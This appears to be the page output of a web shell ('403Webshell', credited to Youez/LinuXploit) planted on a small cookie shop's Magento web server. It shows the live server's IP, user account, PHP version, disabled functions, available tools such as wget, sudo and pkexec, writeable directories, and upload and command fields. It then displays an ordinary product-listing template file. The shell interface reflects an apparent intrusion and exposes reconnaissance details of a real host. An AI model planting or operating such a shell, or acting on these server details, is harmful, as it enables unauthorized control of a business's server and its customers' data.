403Webshell
Server IP : 67.43.7.42  /  Your IP : 216.73.216.61
Web Server : Apache
System : Linux host.isabellascookies.com 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64
User : isabella ( 503)
PHP Version : 5.5.38
Disable Function : exec,passthru,shell_exec,system
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/isabella/public_html/var/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/isabella/public_html/var/side_cat.phtml
<?php 
		$obj = new Mage_Catalog_Block_Navigation();
		$currentId=$obj->getCurrentCategory()->getEntityId()
?>


<?php
		$myCat=$this->_getData('category_id');

?>

<?php if($myCat==$currentId):?>
<?php   
    $catagory_model = Mage::getModel('catalog/category')->load($myCat); //where $category_id is the id of the category
 
    $collection = Mage::getResourceModel('catalog/product_collection');
 
    $collection->addCategoryFilter($catagory_model); //category filter
 
    $collection->addAttributeToFilter('status',1); //only enabled product
 
    $collection->addAttributeToSelect(array('name','url','small_image')); //add product attribute to be fetched
 
    //$collection->getSelect()->order('rand()'); //uncomment to get products in random order     
 
    $collection->addStoreFilter();  ?>        
 

			<?php if(!empty($collection)):?>
				<ul>
        <?php foreach ($collection as $product):?>
							<?php $_product = new Mage_Catalog_Model_Product();$_product->load($product->getId());?>
							<?if($_product->getTypeId()=="grouped"&&
									($_product->getName()!="Isabella's Original"&&$_product->getName()!="Isabella's Original w/out Nuts")):?>
								<li><a href="<?php echo $_product->getProductUrl() ?>"><?php echo $_product->getName()?></a></li>
					    <?php  endif;?> 
        <?php endforeach;?>
 				</ul>
    <?php else:?>
    <?php  endif;?> 
<?php  endif;?> 



Youez - 2016 - github.com/yon3zu
LinuXploit